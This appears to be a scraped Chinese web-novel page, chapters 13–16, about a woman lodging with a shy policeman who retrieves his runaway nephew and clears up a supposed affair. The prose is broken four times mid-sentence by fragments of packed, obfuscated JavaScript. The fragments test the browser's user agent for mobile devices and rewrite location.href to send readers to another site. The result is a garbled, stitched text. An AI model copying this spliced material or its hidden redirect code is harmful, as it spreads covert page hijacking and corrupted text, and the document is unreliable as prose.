0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330827|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到姐姐和小外甥都社恐,穆冬将姐姐请到二楼书房谈话,把小外甥安置在二楼客房。 一到书房,穆璇便责怪道:“你怎么不早跟我说你女朋友在这儿?”她要是知道这里有陌生人,就不来了。 “她不是,她只是暂时住在这儿。” 穆璇摘下墨镜,露出一个你看我信吗的眼神。她又不是不知道自己弟弟是什么样的人,别说把女孩子留宿在家了,这么多年就没见他和哪个女生来往亲近过。 “她真的就是一个暂时的房客,下个月就会搬走的。”穆冬解释道。 “无缘无故怎么把房子租出去,你难道缺这个钱?”穆璇质问,她才不信穆冬的说辞。 做好人真难,穆冬叹气。 “算了,由你怎么想吧。”穆冬无奈地说,而后转问道:“不是说下个月来吗?怎么提前了。” 日程表精准到分钟的穆冬觉得自己的规划被打乱了。 穆璇没有回答这个问题,似有难言之隐,出于尊重个人隐私,穆冬没有强迫她说。 “姐夫呢?他没跟你一起来这边度假?”穆冬问,这可不像姐夫的做派。 虽然很难说出口,但既然都已经提到了,穆璇也不再掩盖,“他出轨了。” 有那么一刻穆冬以为自己听错了,“他出轨?”不可能,这绝不可能。 穆冬在心里快速分析着,从感情上看,姐姐和姐夫虽然是商业联姻,但却是青梅竹马,从小一起长大的,二人感情很好,堪称模范夫妻;从人品上看,姐夫为人正直沉稳,非常可靠;再从出轨的可行性上看,姐夫是个工作狂,根本没空出轨。 但穆璇脸色很难看,她的样子非常笃定这是个事实。她将手机递给穆冬,给他看她和陆敬的邮件来往。 那是很多封匿名邮件,详细记录了陆敬的出轨记录,还有照片佐证,穆璇针对这个问题,郑重地给陆敬写过一封邮件求证,陆敬同样以邮件回复,他承认了,并提出离婚。 “你们有通过话吗?”穆冬问,他对邮件的真实性存疑,“这不一定是他写的。” “我不想和他通话。”穆璇说,她已经发过正式的拒绝对话邮件。 “这不是亲口承认的。”穆冬立即打电话给陆敬,想要质问他,但电话没有被打通。 “他现在人在哪里?”穆冬想直接去找他。 “在出差。”穆璇淡淡道,“你不用管,这是我的事,我只是想在你这里住几天。” 穆冬不想干涉姐姐的生活,他尽可能尊重她的选择,“你休息一下吧,等什么时候你想沟通了,你们再沟通。” 陆北寻坐了很久的飞机,肚子饿了,想吃点东西,就过来找妈妈和舅舅,他就站在门外,非常安静,将大人的谈话听的一清二楚…… 13. 误会(1) 陆北寻回到房间里拿出夹在日记本里的全家福照片,他这段时间觉得家里的氛围奇怪,但是母亲什么都没告诉他,父亲总是很忙,他盯着照片看了好一会儿,决定不打扰母亲和舅舅,自己下楼去找吃的。 厨房里,默熠品尝着烤好的蛋挞、面包,她现在已经会做一些简单的烘焙。 “大冬天的就是要吃些热热的甜点才最让人开心。”她对着蛋挞自言自语,但她感觉到身后像是有什么人在看她,一转头发现是陆北寻,陆北寻没有戴口罩和墨镜,他皮肤嫩白,看着有几分娇气,眼睛很大,两只眼珠子黑葡萄似的,一直望着蛋挞,不过他一被默熠发现,就受惊似地遛走。 还真是个怕生的小朋友,默熠心想,她把烤好的东西拿到餐厅里享用。 陆北寻在暗处观察着默熠的动静,不过严格遵循了社交礼仪,一次最多看两秒,他等到厨房没人,又偷偷地溜了进去,整个过程因为过于不想被人发现而显得鬼鬼祟祟。 他打开冰箱,里面尽是生肉和菜,没有熟食,连个水果都没有,但他的肚子已经饿得咕咕叫。 默熠发现他去了厨房,也时不时朝他那边望过去,好奇这个小朋友在做什么,她勉强使自己遵守了社交礼仪,努力不让自己的视线超过五秒。 看上去他饿了,正找吃的。 她是很想投喂这个可爱的小朋友的,但是碍于自己是限制社交行为能力人,她不能和他主动搭话,不过这难不倒她。 她写了一张便签,拿着蛋挞和切好的面包放到厨房台面上,放完就走,整个过程就像假装没看到陆北寻那样。 陆北寻看到她又进来了,还很忐忑,但她马上又离开给了他松口气的机会。 他看到便签上有字,也忍不住好奇去看了一眼,只见上面写着“给厨房找不到吃的小朋友,别犹豫了,快吃吧” 隔着文字,陆北寻都能感受到默熠的热情,因为没见过这样的人,他有些被吓到,就好像有一个陌生人什么都没说便给他分享美食,还硬往他怀里塞,太热情了,热情地让人害怕。 “咕咕……”他肚子又响了,不过他现在正饿,而且对方不是什么坏人,是舅舅的女朋友,虽然舅舅害羞不承认。 陆北寻便拿着蛋挞吃了起来,蛋挞放了有一会儿,现在的温度正好,不烫不凉,蛋挞皮因为温暖格外松软。 味道很好,陆北寻礼貌地在便签后面写下通话邀请,他想要感谢默熠。 而默熠不知道什么时候已经来到他的身后,她拿笔在邀请后面打了一个勾。 “谢谢舅妈。”陆北寻低头写下感谢的话,但不敢抬头看人,心里还有几分忐忑。 “不是舅妈,我只是暂时住在这里,别误会了。” 舅舅也这么说,还以为舅舅是害羞,没想到真的不是,认错人的尴尬浮现在他通红的脸颊上。 “对不起。”他写道。 “没关系。”默熠丝毫不在意,还注意到他的眼睛红红的,像是哭过。 “怎么了,有什么不开心的事吗?”在内向国只有很亲近的人才会问这种问题,默熠显然并没有这种社交觉悟。 她看到陆北寻后退了几步才意识到自己的冒犯,连忙道歉,“不好意思啊,不想说就不说,你就当我没说过。” “你在干什么?”穆冬撞见这一幕,语气紧张,他看到陆北寻被吓得往后退,而默熠弯着腰,显然刚刚她是在和陆北寻说话。 “没干什么啊?”默熠茫然。 “你注意点儿社交法规。”穆冬走过来警告她,“你知道骚扰未成年人双倍处罚吗?” 厨房的气氛一下就变得很凝重,默熠无助地解释道:“我没有,不信你问……”她想让穆冬问陆北寻,但是她话还没说完,陆北寻就被这严肃的像是要吵架的氛围吓跑了。 “那孩子很害羞,你离他远点儿。”穆冬不客气道。 他的语气很不友善,听的默熠战战兢兢,她双手捏紧抵在胸前,眼皮都不敢睁开,心里又怕又委屈。 之后穆冬就带着姐姐和外甥出去吃饭了,陆北寻坐在母亲对面,其实他很想问妈妈到底怎么想的,但是他所受的教育告诉他不要干涉别人的选择,这是妈妈和爸爸的事。可在他心中爸爸不是这样的人,他希望爸爸能有一个解释的机会,即便事实真的如此,那也要他亲口承认…… 为了多挣些钱,默熠主动提出要兼任售货员,而老板也很放心她在前台,似乎一点儿也不怕她吓到顾客。 早上八点半,天没有一点儿要亮起来的样子,太阳再怎么也要等到10点15分后才会升起来。一个普通的上班族女生走进门店,在草莓小蛋糕和草莓毛巾卷之间纠结了一阵子,简单的试吃也不能帮助她顺利做出决定。 她足足纠结了五分钟,最后勉强选择了草莓毛巾卷,她不是第一个这么纠结的顾客,对于比较相似的甜点、面包,不少人都有选择困难。例如巧克力慕斯和巧克力杯子蛋糕,海苔肉松面包和肉松芝士面包。 默熠安静地观察到这一现象,她很清楚自己不能“打扰”顾客,但又想帮顾客快点做出选择,于是在纸上写下这些相近甜点之间的区别。 “草莓蛋糕奶油更多,适合喜欢香甜奶油的人。草莓毛巾卷水果更多,适合喜欢口感清爽的人……” 上午十点,已经过了店里的高峰期,她便兴奋地向店长展示自己的这一方案,“我准备写在小便签上,贴到这些甜点、面包中间。” “很细心的发现。”谭淳露出欣赏的眼神,“不过姐姐,有一个小地方需要改一下。” “我哪里写错了?”默熠仔细查看自己写的内容,并没有找到错误描写的地方。 “在我们国家,不会轻易用喜欢这个词,它出现的场合都很正式,一般只对恋人用。” 默熠只记得泉氤提醒过她不能轻易说“爱”,可是怎么连“喜欢”也不能用,“那大家怎么表达自己喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337695|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个东西呢,我就很喜欢吃香橙布丁。” “大家一般会说我吃香橙布丁比较多,或者香橙布丁吃着还行,还可以,这就算很高评价了。”谭淳语气温柔,默熠觉得他似乎也有微笑唇。 “而且出于礼貌,一般人们不会去干涉别人的选择。这句改成‘适合吃香甜奶油较多的人’也不太合适,引导意味太强。其实把口感上的差别写出来就可以了,比如‘草莓蛋糕奶油更多,口感香甜;草莓毛巾卷水果更多,口感清爽’。” 默熠点点头,“我知道了。”她笑道,微笑仿佛是某种肌肉记忆,是她目前最难以改变的东西,不过这个习惯在穆冬面前被克制地很好,她可不想惹穆冬不高兴,她现在还住在穆冬家,还没找到合适的房子,要是被赶出去,这冰天雪地的,她上哪儿落脚。 与此同时,陆北寻戴着帽子、墨镜、口罩独自坐在一家快餐店的角落,他的打扮太常见,没人能认得出他,广播里播报着寻人启事,“陆北寻小朋友,身高132.5厘米,走丢时穿黑色羽绒服,黑色裤子,背黑色书包,有知者请发送邮件******,联系电话******。” 看上去寻人启事里说的消息很多,但实际上又像什么都没说,这样的穿搭随处可见,此刻在餐厅里这种打扮的小孩儿就有6个、成人8个。 陆北寻光明正大地吃饭,根本没人能找到他。 他觉得这样妈妈或许就能和爸爸好好沟通一下,起码在自己这件事上,爸爸有机会和妈妈说说话…… 下午五点,天已经黑了快半个小时,不少商场和超市都不再营业。 默熠把改好的“提示标签”挨个贴到货架上,橱窗外下着小雪,黑漆漆的,只有这家甜品店透过玻璃向雪地上投出蛋糕般温暖的灯光。 星星姐早上上班的时间早,下班的时间也就更早,店里只剩她和老板两个人,谭淳默默记下默熠加班的时间。 默熠穿着一件薄而宽大的浅咖色羊毛衫,不太合身,这是医院好心的医护人员给她的衣服,她身前系着浅棕色围裙,很平凡的打扮,但就是让人很心动。 第一次见面他就很心动,谭淳的目光一直落在默熠身上,远超七秒。 直到一个小朋友走进店里来买东西,谭淳静静走回后厨。 这附近就这家店还能买到吃的。陆北寻走进店里才终于可以把手拿出来,外面实在太冷,他的年龄又小,无法独自住酒店,而且住酒店很容易被妈妈找到,他还没想好今天晚上要怎么过,先把肚子填饱再说吧。 默熠贴完便签,一转身就看到陆北寻,出于社交礼仪,她不能打招呼。 陆北寻也发现了她,他觉得自己被她看到,舅舅很快就会知道,想马上跑,但是外面太冷,他的身体还没暖和过来,动作僵硬,又因为紧张,愣在原地和默熠对视了几秒。 “我知道,你一定是因为昨天吃了我做的面包特意找过来的吧。”默熠还是没忍住唠嗑的诱惑…… 14. 误会(2) 陆北寻没想到默熠会这么说,看上去她还不知道自己离家出走的事,因为她还一门心思地给他找出昨天他吃过的甜点和面包。 “你能不要告诉我舅舅我来这里买东西吗?”陆北寻说。 “怕你舅舅说你吃零食?”默熠想了想确实有这种可能性,穆警官看上去就是一个很严厉的零食绝缘体,“好吧,我不会告诉他的。” “谢谢。”陆北寻说。 可等到结账的时候,他才发现自己钱包丢了,应该是在商场儿童乐园玩儿的时候丢的,他面露难色,不知道该怎么说自己付不起钱的事,默默把手表摘下来问默熠:“能不能拿这个抵,这个值很多钱的。” 那确实是一块价格不菲的表,即便是默熠这样的外行也能看出来,表上镶满了钻,中间还有蓝宝石。 “用这个抵面包多不划算。”默熠心疼道,“你拿走吧,就当姐姐请你。” “这……多不好……”陆北寻满脸通红。 “这有什么,你舅舅好心收留我,那我肯定也得照顾照顾他侄子嘛。”默熠一边用袋子把面包给装好,一边又说:“我马上就下班了,待会儿一起回去,你这么小一个人走夜路多危……” 然而默熠话还没说完,陆北寻已经跑得不见人影了。 这孩子……面包还没拿呢。 不对,默熠再细想觉得事情很不对劲,陆北寻这个点儿不在家里吃饭,还在外面逛,还是背着家里人出来的,那他妈妈不得急疯了,而且他一听回去就跑,不会是离家出走吧。 默熠赶紧追出去,连外套都没来得及穿。 最后在电话亭里找到了他,内向国有很多这样的电话亭,即便如今的科技发展已经没有人再使用固定电话,但也没有拆除。因为人们发现电话亭可以作为一个临时“避难所”,人在犯社恐的时候就可以躲到这里,内向国的谚语也由此发生了一点儿变动,“好想找条缝儿钻进去”变为了“好想找个电话亭钻进去”。 电话亭大部分的玻璃做了磨砂处理,以保证隐私,只留最下面一小截玻璃是清晰的,好让外面的人分辨里面是否有人。 门是不带锁的,因为大部分人是不会进到一个里面有人的电话亭。 而默熠不属于大部分人,她直接打开亭子门,里面果然是陆北寻。 陆北寻见状想跑,被默熠先抓住胳膊,“小朋友,我觉得你最好解释清楚为什么大晚上不想回家。” “这跟你有什么关系。”陆北寻拼命挣扎,“这是我的事,这是我的个人边界,与你无关。”他从没遇到过这种多管闲事的人。 “你放开我,你知不知道这样很没礼貌。”他各种想挣脱,但被默熠牢牢地抓住。 “我知道这样很没礼貌,但好在我又不是第一天没有礼貌了。”默熠说,把他抓的更紧,生怕他跑了,“你如果不跟我说清楚,我就打电话问你舅舅。” 一听到她要找舅舅,情急之下,陆北寻咬了默熠的手腕,可是咬到流血她都没有松手。 “姐姐,你的手流血了。”陆北寻震惊又内疚,他只是想让她把自己松开,没想咬这么严重的。 “我知道。”她镇静道,其实她是个很怕痛的人,但现在不能哭,得先把事情解决清楚。 谭淳从后厨出来发现店里一个人也没有,默熠的手机还放在柜台,但是人却不见了,他赶紧查监控,好在监控刚看完,默熠就抓着那个小朋友回来了,她的手还在流血,但一直没敢把陆北寻松开。 “店长,帮个忙,先把门锁了,这个家伙可能要跑,他离家出走。” 陆北寻低着头,耳朵发烫。 谭淳二话没说,全部照做,接着拿出备用的药品给她消毒包扎。 三个人坐在店内的卡座上,陆北寻一言不发,默熠咬着唇,伤口很疼。 “谢谢店长,耽误你下班,真不好意思。”默熠说明了陆北寻的情况。 “没关系。”谭淳温柔道,他没有给出陆北寻这件事的处理建议,即便他也很想知道这个小孩儿为什么离开家,但他认为自己没有资格管这件事,除非小孩儿主动寻求帮助。 默熠就不一样,她没有考虑这么多,“要么我打电话跟你舅舅说你在这里,要么你自己跟我解释清楚为什么离家出走。”她只给了对方两个选择。 她认为陆北寻既然想走,即便送回去,他还会再找机会离开,还不如把事情弄清楚,对症下药的好。 陆北寻不情愿地选择了第二种,他站起来凑到默熠耳边说悄悄话,把事情只说给她一个人听。 “就因为这个?”默熠实在不能理解,“你直接给你爸爸打电话让他回来不就好了吗?” “这是……这是他们的事,我不能干涉的。”陆北寻说。 默熠很不理解这种做法,但貌似周围人都这样。她又想到上次看电视和穆冬的争论,难怪他没处理好这件事,他肯定会贯彻他的理论,尊重陆北寻妈妈不想听解释的选择。 对这件事,默熠的答案还和当时一样,她就要解释,而且要强行解释,“你电话呢?你不好给你爸爸打,我来。” 陆北寻再一次被震惊,“你都不认识他。” “那不重要。”默熠却说,“你也很想你爸爸回来解释清楚对不对,现在你把电话给我,我让他回来,所有的责任我来扛。”大不了再增加点儿服务时长嘛,她不在乎地想。 陆北寻很心动但又很忐忑,犹豫了一会儿,他还是交出了手机。 就这样,默熠打通了这个陌生男人的电话。 那边接通的速度很快,即便陆敬还在忙工作,但陆北寻是特别提醒,他的来电振动频率不一样。 “你好,陆敬先生,你儿子现在在我手里……”意识到自己嘴瓢了,默熠赶紧呸了一口,重新组织语言道:“你儿子现在在我这里。” “绑架?别伤害他,价钱好商量。” “不是绑架……”然而默熠话还没说完,陆敬已经得出结论。 “那是报复?”陆敬头脑飞速运转,“有什么事冲我来,别伤害孩子,让我和他交换人质。” “不是,不是。”眼见着话题被带跑偏了,默熠赶紧切入主题,“我跟你打电话,主要是想和你说你老婆的事……” “什么!你把阿璇也绑架了。”陆敬的声音在发抖。 “你这个人……你不许打断我说话。”默熠强硬道,“你老婆收到了很多邮件说你出轨的,你还给她发了离婚的邮件,她现在很伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347506|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,带着孩子来她弟弟这里了,你们儿子离家出走,现在被我找到,你赶紧回来和他们解释清楚。” “什么!”陆敬大惊,他现在才知道自己“出轨”了。 “谢谢您通知我,我可以和小寻说句话吗?”陆敬冷静道。 默熠把手机还给了陆北寻,她听不到陆敬问了什么,但从陆北星的回答里能推测出来。 陆北寻:“爸爸……嗯嗯……她说的是真的……我下次不会了……我现在就回去……” 穆冬外出一天把尽可能找的地方都找了,但是谈何容易,穆璇身体不适,上午外出找人时就因情绪太激动晕了过去,只好留在家中,她的眼睛已经哭肿了,望着窗外飘落的雪花,她心中更加焦虑,她不知道那么小的孩子要怎么度过这样的雪夜…… 室内寂静一片,任何一点儿声音都能惊起她心中的波澜,玄关那里传来输入密码的声音,她着急忙慌地过去,但当门把手转动,门被打开,回来的只有穆冬一人,无论她再怎么看,穆冬身后都没有孩子的身影,她的希望扑了空,更大的绝望填满了她的心。 “姐姐,别担心,小寻一定可以找到的。”穆冬只能如此安慰。 穆璇双腿一软,瘫坐在地上,心中只有悔恨,她怪自己没有照顾好孩子,哭得上气不接下气。 而这一次门外的钥匙转动,门后露出默熠的身影,她看到穆璇的憔悴、眼里的疲惫,仅仅只是一天,她就消瘦成这样,默熠呆住了,她愣在原地一动不动,眼里结出泪花。 穆璇双目无神地低下头,无助地哭泣。 陆北寻自己打开了门,他叫道:“妈妈”。 穆璇立即抬起头,陆北寻已经朝他过来抱住了她,“对不起,妈妈。” “你去哪里了?妈妈找你要疯了……”她哽咽着,紧紧抱住孩子。 穆璇沉浸在失而复得的喜悦中,无心理会其他事。 穆冬就不一样了,他看到默熠牵着陆北寻的手回来的,再加上昨天默熠对陆北寻“骚扰”的事,他便先入为主地有了不好的印象,冲上去抓住她的手腕,愤恨道:“你怎么能随便把别人的孩子带走。” “痛痛痛……你放开……”穆冬抓的正是陆北寻咬的那里,疼得默熠背弓起。 “舅舅,是我自己离开家的,我觉得妈妈找不到我会跟爸爸商量,爸爸就有机会跟妈妈解释。我正好去这个姐姐的店里买面包,她发现我离家出走,把我带回来的。” 穆冬失了神,自己错怪了默熠! “那个……你能不能放开我……”默熠哭道,她的表情看起来很痛苦。 穆冬赶紧把手抽回来,默熠则表情吃痛地掀起袖子,被纱布包裹的地方正渗出血。 “开始我不想回来,还咬了姐姐的手。”陆北寻抱歉道。 “我……我……”穆冬就没有这么愧疚和慌张过,他无颜以对。 默熠的泪珠越来越大颗,她推开穆冬跑进自己的卧室。 穆冬想和她道歉,便在外面敲她的门。 “我现在……什么都不想听……”她嚎啕大哭道,不全是因为伤口的疼痛和被误解的委屈,更多的是因为自己已经忘记的母亲,如果妈妈知道自己这样,她一定会很心疼…… 15. 误会(3) 痛痛快快哭了一场,默熠的心情倒是没那么糟糕,就是睡的晚了,她换睡衣的时候已经凌晨两点。 自从上次穆冬提醒她后,她就把睡衣换成了成套的病号服,这也是医院护士给她的,还特意拿了新的给她。 睡得晚就容易睡过头,她睡得太沉,完全没听到闹钟响,最后还是被手机铃声吵醒的。 “喂,谁啊?” “什么!”像是听到了什么噩耗,默熠赶紧睁眼,手机屏幕上的时间显示是十点,而她上班的时间是七点半,她晚了整整两个半小时。 昨天半夜陆敬就赶到了这里,今天一大早就和穆璇解释清楚误会,此刻他们一家三口和休假的穆冬都在客厅喝茶吃点心,一大家人其乐融融之际,默熠出现了。 “好的好的,谢谢老板。”默熠打着电话推开卧室门,她的表情已经没有那么焦虑,因为老板说让她下午再去。 这间卧室的门正对着客厅,她一挂完电话就看到屋子里所有的社恐。 她穿的那套病号服尤为瞩目,这也是穆冬第一次见她穿这套衣服,二人的作息、工作时间都不同,且默熠搬进来后,他就尽量不来一楼,因此没机会见识她穿这套衣服。 虽说这套“睡衣”是成套了,但是医院病服和家居风格太不搭,十分不和谐。即便这套奇怪的衣服没有穿在自己身上,但是穆冬替人尴尬的毛病又犯了,很难想象一个人穿这套衣服,被那么多人看见还不尴尬是什么样的感觉。 她一看到众人躲闪的眼神就知道他们社恐又犯了,淡定地走进卫生间洗漱,还贴心地关上了卫生间的门。 “我收回我要当面感谢她的话。”陆敬说,他算是见识到什么叫自信放光芒,默熠自信得让人害怕。 “刚刚就劝你了别冲动。”穆璇说,“不过我说的没错吧,那个女孩子漂亮得像在发光。” 陆北寻点点头,非常赞同。 “冬冬,你帮我去问下她,她有没有什么偏好或者心愿。”陆敬说。 “冬冬你可得好好问问,我们得感谢人家。”穆璇也说。 “都说了不要叫我冬冬。”穆冬义正严辞地纠正道,虽然他的纠正毫无用处。 默熠洗漱时发现自己的眼皮肿得像核桃一样,一定是昨晚上哭太久。她在卫生间待了半个小时,却怎么都没办法消肿,不免失落。 当她难过地走出卫生间时,客厅只剩下穆冬一个人。而默熠只看了一眼就回到卧室换衣服。 她忽然变得这么冷漠,还真让人不习惯。 穆冬在客厅徘徊,他在心中预演待会儿的对话,但他越想越觉得不好说,只好写在纸上,塞到她卧室的门缝里。 默熠在床上换衣服,她套进一件黑色羊毛衫外套,却看到一张折叠的纸缓慢但平稳地被推进来,这样不急不慢,倒有几分沉稳郑重的模样,在此之前她觉得递纸条都和偷偷摸摸这个词有关。 今天天气很好,阳光投进窗内,将地板照得锃亮。她光着脚踩在地板上,捡起那张信纸,浅绿的枝叶藤框,很有春天的气息。 “默熠女士,你好,我能继续昨天的对话吗?”署名是穆冬。 虽然很想直接口语回复,但默熠考虑到穆冬的社恐属性,她从凌乱的床头柜上拿出笔,坐到地板上,抵在门板上写道:“我已经不难过了,道歉的话就免了。”她没有署名,也没有注意到自己的裙头越过了门底的缝隙,露出去一小截。 穆冬求信心切,一直盯着门底的缝隙,一看到白色的东西露出来就以为是回信,连忙弯腰去拿,可一摸才发现是衣服,布料柔软,甚至有些凉,但他的手就像被烫了一样缩回来。 接着他看到那衣服的一角被迅速地从门缝里收了回去,她一定是感觉到了自己失礼的行为,穆冬双耳通红,更不知道该如何面对,但回信紧随其后地被推了出来。 他心里慌乱,不知道要怎么处理。 “咚咚咚”门的那边传来三声叩门声,似在提醒他及时查收。 他只好硬着头皮捡起回信,看到她的回复,穆冬尊重她的意愿,但心里遗憾不能亲笔写下道歉,这样他就好像永远地亏欠了她。 “那你要去逛超市吗?冰箱里你的食材都用完了。”他主动发起“搭讪”,想以此缓和一下和她的关系,说实话他写下这句话的时候,全身都起了鸡皮疙瘩,浑身不适。 对方主动递台阶,默熠就跟着下了,她推开门,却不想穆冬靠门那么近,一不小心推门撞到了他。 “那个……我可以向你道歉吗?”即便默熠觉得这样很别扭,但也仍然遵守这样的社交礼仪。 “不用不用,我没事。”穆冬连连推辞,他习惯性地看地面,但眼神不可避免地瞥到她的裙子……裙子! 自己刚刚不小心摸到的是她的裙子,只一瞬间,他的脸如同被烤熟一样,滚烫滚烫的,温度高到他的大脑都无法思考,心中只有羞愧。 他也经历过社死,但都不及这次,穆冬向后踉跄几步,差点儿摔倒在地。 自己该不会把他的头碰坏了吧,可刚刚是正常开门啊,是自己手劲儿太大还是他脑袋太脆,默熠心里紧张,小心翼翼地问:“你没事吧,穆警官,你还好吗?要不要去医院?” “不用不用……”穆冬摆手,他极力使自己冷静下来,从默熠的反应来看她好像没把那件事往心里去。 “那个……我……”穆冬呼吸紧张,心虚道:“我刚刚……在外面的时候……好像,好像……不小心踩到你的裙子了……”他说完后深吸一口气,心跳得很快。 “有吗?我都没感觉。”默熠不在意道。 虽然她没有察觉,但穆冬不能原谅自己的非礼行为,“请允许我道歉。” “不用了,多大点事儿。”默熠挥手道。 “不,请允许我道歉。”穆冬坚持道。 “那你道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352374|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。”默熠无奈道。 “对不起,真的非常对不起。”穆冬郑重地鞠躬道歉,而后“变本加厉”,“你可以打我吗?比如你给我一巴掌什么的。”好像只有这样才能消除他内心的罪孽感。 “啊?”默熠的大脑也转不过来,思来想去只有一个原因,自己真的把他的脑子撞坏了,“我觉得你还是去医院吧,简主任很厉害的。” “不不不,你打我一下就好,不,你想怎么打都可以。”穆冬眼神坚定。 默熠只看了一眼他坚定不移的眼神,就得出一个结论,他有某种特殊癖好。 “对不起啊,这个忙我帮不上,你……你你找别人吧。”默熠说完打了个寒颤,觉得自己起了鸡皮疙瘩。 穆冬这才回过神来,这种“肢体接触”的请求太无礼了,“你骂我也行,我真的很抱歉,我不是故意的。”他的语气非常诚恳。 “哎呀真的不用了,芝麻大点儿的事儿不至于。”默熠觉得他现在又正常了一些。 “不是说要去超市吗?现在就去吧,我下午还要上班。”默熠赶紧打岔,不给他发“疯”的机会。 到了超市,默熠被各种各样的水果吸引,她在甜品店工作的时候就最喜欢吃水果蛋糕上的水果,内向国天气寒冷,水果产量少,价格尤其高。 她咬了咬牙,买了几个橙子,水果比肉贵。 “你平时吃这个比较多吗?”穆冬想方设法打探她的偏好。 “不多,这个卖的可贵了,我都舍不得吃。”默熠抱怨道。 “那你觉得这个味道还行?” “何止还行啊,我最喜欢橙子了,很有夏天的感觉。”默熠随口一说,她还不知道这句话会给她带来什么,不久后她会无比后悔自己的回答。 “那你有没有什么没有完成的事,心愿什么的?”穆冬又问。 “你要替我实现吗?”默熠反问,她只是开开玩笑。 穆冬不好意思地撇过头,小声道:“也许可以,不过是我姐姐他们实现。” “我现在唯一的心愿就是找到我的妈妈,我离开家这么久,她一定担心坏了。”默熠想起穆璇悲伤的脸,又忍不住难过,眼泪夺眶而出。 穆冬连忙拿出纸巾给她。 “谢谢。”默熠接过纸巾,余光瞥到不远处一个熟悉的身影,但是没太在意,内向国人穿的都差不多,乍一眼看过去都有熟悉的感觉。 “别难过了。”穆冬觉得自己应该安慰她,便说:“也许你妈妈她没那么好,并不担心你。”穆冬的逻辑是比起妈妈担心自己,他更宁愿妈妈没那么好,这样妈妈就不会为自己难过。 默熠震惊又难过地看了他一眼,眼泪掉的更大颗,哭嚷道:“那我也太惨了。” 她的情绪浮动过大,引得周围的人不住回头,二人又成了众矢之的。 熟悉的社死感再次蹿到穆冬皮肤下面,随血液一起流动、凝滞…… 16. 误会(4) 穆冬默默拿出口罩给自己戴上,他一边给默熠递纸巾,一边反思自己,等默熠哭够了才开溜,“那个……我要去买点儿肉,你先逛你的,我在停车场等你。” “好。”默熠抚了抚肿胀的眼皮,她还想再看看零食。 默熠提着篮子走到不远处的零食区,在这里撞见了简松,简松也提了一个购物篮,里面有薯片、巧克力、草莓夹心饼干、棉花糖。 简松表面上看着淡定,其实内心慌张的不行,他是知道她的厉害的,他一点儿也不想社死,于是不带一点儿犹豫地转身就走。 但他没想到默熠会来堵他,他走左边,默熠就堵住他左边的去路。他走右边,默熠就堵住他右边的去路。默熠罕见地面无表情,让人不知道她在想什么,而且简松不记得自己什么时候得罪过她。 他尴尬地后退一步,并将脖子上的围巾拉上来了一点儿围住嘴,围巾是双层的,外面看是白色的,但里面那一层混了点儿浅紫色的毛线。 默熠可不是故意来找茬的,她看到了简松篮子里的零食,证明他刚刚在这里选购,且这些零食的货架都隔了一段距离,说明他在这里待了一段时间,最重要的是,零食区能把水果区尽收眼底,刚刚水果区发生的事他一定看到了。 “你刚刚都看到了多少?”默熠冷静道,声线低沉。 简松撇过头去,准备不予理会。 “我知道我这是触犯社交法令的行为。”默熠坦然道,“我不在乎会增加服务时长,我只想知道你刚刚都看到了多少。”默熠还记得穆冬很介意和她传绯闻,平时除了铲雪他们都不在一起的,今天却还在一起逛超市,他还关心地递了纸巾,在内向国这种便“冷漠”的社交社会,这算是比较亲密的行为,难免不会有人乱传。 “我……我什么都没看到。”简松刚刚确实是看到了穆冬和默熠的亲密行为,但他不是个爱管闲事的人,更不想引火上身,他太清楚默熠的能耐了,清楚到他一想起大侄子和自己的社死画面就全身起鸡皮疙瘩。 “说实话,别逼我。”默熠准备诈一诈他,而且以她对这个超市的了解,草莓夹心饼干在最外面的货架,离水果区最近,看到的概率很大。 “好吧,我什么都看到了。”简松一下就招了,他心里十分忐忑,不知道默熠会怎么对自己。 果然,“你不准拿出去乱说。”她冷冷道,格外强势。穆冬收留自己,是恩人,她要保护穆冬的名声。 但舌头长在他嘴里,自己怎么能管得了别人的嘴巴,为了能在他乱说的情况下还能保全穆冬的名誉,默熠又上了一道保险,“你记好了,是我在喜欢他、纠缠他,他一直是拒绝我的,他是受害者你知道吗?” 如果是这样,大家只会同情穆冬,不算对他的名誉造成多大的伤害。而对自己来说,反正自己的名声也不可能更差了,她也不在乎。 简松听完震惊到眼神发呆,一方面是同情穆冬,一方面又羡慕默熠能大胆追求、直抒胸臆。 